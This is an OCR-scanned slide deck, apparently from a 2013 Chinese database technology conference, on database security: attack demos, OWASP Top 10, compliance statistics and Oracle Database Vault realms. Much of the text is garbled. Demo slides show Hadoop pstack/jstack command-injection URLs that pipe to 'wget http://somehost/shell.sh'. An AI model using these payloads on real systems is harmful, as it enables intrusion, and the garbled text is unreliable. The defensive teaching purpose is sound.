2013'#'@%51}%1@?35**‘*

DATABASE TECHNOLOGY CONFERENCE CHINA 201
KEIE SRR SN BIRaE S \1Fr

ﬁ!ﬁl@{/ Seouema s Moy © chinaunix

1

g

Database firewall. TDE~s=%t |
Database vaultPA NI VEPT= .

T/

Id'l'\-"-'

=y

BT AR L

TE A 4 46 Bl =)

Database

BDaas

flowingdata
DB2

Oracie o



Bl I 2 TR IR T 5=

KA 22 4 N A L

MNTALSS 2013hEHBEERAXS

L i v\o SeoueMedla 5
e kMR HIEERNSTL B ARS A 25 ﬂ'?i‘ﬂ( Mo Mpus  © crnoui

|||||||



Z R PUIR

BARKE T
ﬁél xﬁxwﬂ!ﬁ

XSSESTAl AR

DTCC2013

R . AR

FERIBAARRY

FER/RFSHBET

TS 2013hENEERRAXS

=
B
B Na® P  DATABASE TECHNOLOGY CONFERENCE CHINA 2013

—— KR SUEEEESHK SRRSO

\C

s seaueMedia o mup @ e

www.lefeng.com



1. BR. MELEHRF

RN, TEANFE!

' &d G 2013¢l%ﬁ?@§?§*7€“

[
=

ey

~
I S\
o L uiE MEEENSH EAES MM

v .
A‘Tﬂéffﬂ( SequeMedia (M ms @ ueuns



j‘: flj_l >I; ‘;

B DEMO ONE:

H YEE V=

My SQLIE A1

JNUAME E :http://cve. mitre. org/cgi-

biH/C\_ el L 2O M ON1O /10

Ve = ICEITER S,

Jlag =R . . opide .

- DEM http://hadoop_host:50060/pstack?pid=123|wget http://somehost/shell.sh
Hivetft

B DEM #rEsss . iEwsssmesmT

MySQL-i http://hadoop_host/pstack?pid=123|home/work/hadoop/streaming.jar /home/shell.sh
i}% ?lﬁ‘[ ,f—:'; http://hadoop_host/jstack?pid=123 |home/work/hadoop/streaming.jar /home,/shell.sh

B DEMO FOUR:

Mongodb iy 2 FHAT i il

IRIAME B :http://www. securityfocus. com/bid/58695/

B DEMO FIVE:

Hadoop i 2 AT I VI

IRIAE B :http://www. wooyun. org/bugs/wooyun—2010-020282

http://hadoop_host:50060/jstack?pid=123|wget http://somehost/shell.sh

£ 5 {~ SeaueMedia ¢,
e KR MEERNSi SIEAES S FEIIA i = e S



B 22 4 (1) 55 DK 5

o KI5 BMIRIEE W « RN T B A BB « FEHEHTE S (SOX), filk
il i PR 0542 ) S At 3 (H
o AR IR LLAGI PR PN 38 B % o SB[ AR P fixSOX)
A P g « 35 25 T HOBLER o« SAHRATERLE (PCT)
o SN A B /DBAR A I « MANEBARTER K

BEFR At

 ITHRSS MU H 253 2 « ITy5 2, COBIT, ITIL

« 5T 50 5, ﬂl&ﬁf&ﬁﬂ i

7

ORACLE

NT/ASS 203FEHEERRAS ¢ 6
et/ | Y TG SeaueMedia &
T AR SRS SRR S SR £l USSR e Mpus @ s



T IT 2 2 A1) FH 28000 2 7 T

66% 55 SQLIENTBL i AR T 5 v =R

50% WS LRI B B s 41% B /i

76% T B E DBA i i) N FH A% Fr B R ORI AR e A7 i i AR
28% WS ALBBUBE PR e G 37% WA BUBEHE I 5N

712% FGUH AT DA B/ B A AR BB S A B A A O e

75% ToVERR IR R R P ST CEET M 80 D

70% JUF- o2 e AR #5200 2 B e

48% SOV RN G DN B S AR AR AR P 85 o 0[] BBURK Y 2 = s

>#% 2013H RAKRE

P ‘
—— KR SIEEREESHK SRR S S

lw.

gr]\ SequeMedia ¥y muyg @cmnau“lx6



S B LA

A RARBREIE T 15 2

AP——

l)\' e

o nuskl. 7
%) T A - r

Ow

-}ii i".'»ﬁ)"ﬁ&"\: 17 "
mwﬁﬂﬁﬂaww
li‘m%\%“ﬁﬂ tr A
>4 T

Ty %% ) AR RE

T S2S 20134 RAKXS 2 o
: : ¥ SeaueMedia
e e KiiE SRS (L SIEATES S REEI - =



PP

20132 JFiFTOP10

v' OWASP TOP 10 20133
1. Uy IA] 328 i) 22 4 [

2. 5 H A1) % 4 H A4 R
3. BRUBEE I R

V' EREE B 2 A AR Y

1. Al &MENIWE
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3. fdH 2 Az A i

OWASP Top 10 — 2010 (Previous) OWASP Top 10 — 2013 (New)

Al - Injection Al — Injection

A3 - Broken@nhenﬂﬁﬁon and Session Management A2 = Broken Authentication and Session Management

A2 - Cross-Site Scripting (X55) A3 - Cross-Site Scripting (X55)

A4 - Insecure Direct Object References A4 — Insecure Direct Object References

A6 - Security Misconfiguration A5 — Security Misconfiguration

A7 - Insecure Cryptographic Storage — Merged with A3 AB — Sensitive Data Exposure

A8 - Failure to Restrict URL Access — Broadened into = AT = Missing Function Level Access Control

A5 — Cross-Site Request Forgery (CSRF) AB — Cross-5ite Request Forgery (CSRF)

<huried in AB: Security Misconfiguration> A9 = Using Known Vulnerable Components

A10 - Unvalidated Redirects and Forwards A10 - Unvalidated Redirects and Forwards

A3 - Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6
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Direct Database [User Role Stored Procedure

Supported Database Interrogation Auditing Auditing Local Monitor

IDracle Database 81

Dracle Database 97 LES [Wes Yes

IDracle Database 10¢ fes Ves Tes

IDracle Database 1lg e HES [es

Pdicrosoft SQL Server 2000 [Wes e

Pdicrosoft SOQL Server 2005 [Yes [es [Yes [Ves

Plicrosoft SOL Server 2008 [Yes LES FES [es

Evbase Adaptive Server Enterprise e Wes Tes

| ASE) versions 12.5.4 to 15.0x

Bvbase SQL Anywhere version 10.0.1  [Yes Wes MWes

IBM DB2 version 9.x (Linux, UMY, fes Ves

Plicrosoft Windows)
INTL L 20134 BARKE . |
- NP ke SRR SEABS S g\ SCOUMEdR e Mo @ o

wwwlefeng.com



t 4

28 E B K 3DEMO

DEMO ONE:
W0 {A] B I SQL Y N5 Al R S Bk

DEMO TWO:
WG TS

P\T /5SS 20134 RAKE

= = v -
B > b ¥ seaueMedia s
— —— KR SIREROSHL SRR S S SRIEPIN N e

wwlefeng.com

’THIB () Chinaunix



B8 JZE b5 18 22 TDE

B2 201 249504 i R = AR R N & .

TS 2S 201340 ERARASR
B

Py
o CRRIEE [ K SeaueMedia ¢,
— e AEiE SIERRMSHL SIEAES S e i wfe %= The G



NHE ZE B 1H 2 database vaultfd]

I

W AR R

1. PR ke e B 3 B g ) I A e R

2. RMEHTTH R KITIRE

3. PRUEEHEFEAE BB G % it

W PATEE VT R [ %4 RS

LR -1 5 /NN (11 BN 0 2 LA W K R TR 6

2. AIMRFETPHUHE. B 1A) B AN S 15 DA HH Uy i) D€

il
|
s T
F\T/S2S 201368 ERAKXE 2
Lo » N ~ SeaqueMedia eyt
— ——— KR MBS SIBAES S fﬂéﬂﬂﬂ = e e



L0 5 QP Ak

W R A, S PP B 2 AR ORAFLE AN [F] A ik 95 s AAS R (1 2808 28 v

_ IO
R R P B FA K
2.%#&&%%5%

3. W EE K !L

NTA S 2013hENEERRAS

e —— KIE PEEENSHK EIRRES S

ﬂ Medi »
f]infé'g[ﬂ]( Seaue mgsqﬂla ‘m— Mpyg © chinaunix
AW (‘f{‘ﬂg.(ﬂl‘l‘l



1

AE]

&

AE

K

bk

mE AN ER S IR, AT R R R AR SS 4T 6 Bt 20 EdEE, A
Pl EEEN R, PR

B [E PR AT
1. e[ FRHIDBAVT M) 4H & . HR. 1T B/ s

2. PR PN B S EB B B aE B 45k

TS 201364

¥4

ERAKXES

e —— KR FEEZRASHL EIERES S

07
fﬁggﬂﬂgﬁ SequeMedia 38  Myp @ crineuns



HIII—:E/\%

€2

N D1 7T]

BRI EHATER DT B I BT S A 1 RIS TR AT B AVE BAE 55 DL
LU AT S5 I AR N 2S . RIS —NDBARE £ 57 8 BB B0 FE K 5 X 47 51
N FERERN, KX AR S5 73 A HEAT iC SRR AR 5 B 2

WP SIS A 55150 FH FR e F e BN = T AN 5 B A1) o R 5 XU

. BEFE Ik B 2 1 7Pk
N Gl | SYSDBA | #&fn | Atk | ek | gl | G
JoeSmith X X
SteveHardy X
PeterKestner X
RobertTyler X
SusanAnderson X
SYSTEM
RMAN X X

>~ 2013F HAKS 7 P
( ¢ SeaueMedia
— XHIB SEERS L SBARS S AEPN o -

wwlefeng.com

rr_ﬂlB () Chinaunix



Database vault?Z

it

|~

W E RS R A EHRAESE, B A R BVRIE A OR T
W 1R DBAEAFIN. (U, HERRAR 55 4% B & R i 2 4 KU

W AR AT
1. FEIPBRESINENHAER
2. XTPEREFZIIAR /N

MT/S S 2013RENEERRAAS
—— KEUE SR RSN EE RS £

FIN DBA

2 =
ffiﬂéﬁrﬂ( Seo“ehﬁgfﬁ}a m_ Moy @ chinaunix



A1 DEMO

L. A an 44

dbvowner@aos> BEGIN

dbms macadm. create realm(

realm name => ’Sales History’

, description =>

’Annual, quarterly, monthly, and weekly sale
, enabled => dbms macutl. g yes

, audit options => dbms macutl.g realm audi-
) ;

END;

/

PL/SQL procedure successfully completed.

2. PRIFMIZAE
dbvowner@aos> BEGIN

dbms macadm. add object to realm (
realm name => 'Sales History’
,object owner => ' SH

,object name => "%

,object type => "%

)

END;

/

PL/SQL procedure successfully completed.

TS 2013mEHEERRAXS
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systemfacs> -- Attempt to drop the sales data table

»drop table

systemfac zh.sales;

drop table sh.sales

*

ERROR at line 1:

CRA-00604 : 0L lewvel 1
CORAR-47401: realm vieclation for drop table on SH.SALES
CORA-0&512: at "DVSYS.ARUTHORIZE EVENT",
ORA-06512: at line 31

systemfao Bttempt to grant cbject privileges on the table to

error occcurred at recursive

line 55

systemiao another account, which will fail due to realm protections

systemfacs>grant select on sh.sales to scott;
sh.sales to scott

*

grant select on
ERROR at line 1:
ORA-00604 = SQL level 1

CORA-47401: realm vielation for grant object privilege on SH.SALES
ORA-06312: at “DVSYS.AUTHORIZE EVENT", line 33

CRA-06512: at line 31

systemfacs: Attempt to gquery the sales data using direct cbhiject

error cccurred at recursive

systemfaoc privileges granted to the account SCOTT.

systemfac This iz authorized in the default behavior of a realm

systemfacs>connect scott

Enter p vord @
Connected .

scottRacsrselect cust id, amount sold from sh.sales;

CUOST ID AMOUNT SOLD
1258 23.75
1714 23.73
1342 23.75
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3. FWREXH P HRERIT N RIS, Hinde A

4. RIS IR, ALLAEHIN 2 PISQLAT

m

{ “msg—type” :” activity” ,” date” :” 1342770988114" ,” thread-

id” :” 10// , 2 query_
id” 7 21", 7 user” :” root” ,” priv user” :

b4

root”

2 ip” :” 1

92.168.1.61" ,” emd” :” select” ,” objects” :[{"db”:"uc”, "name”

:"rc_zone”, "obj type”:”TABLE”}], ” query” :” SELECT * FROM
"rc _zone LIMIT 0, 1000” }
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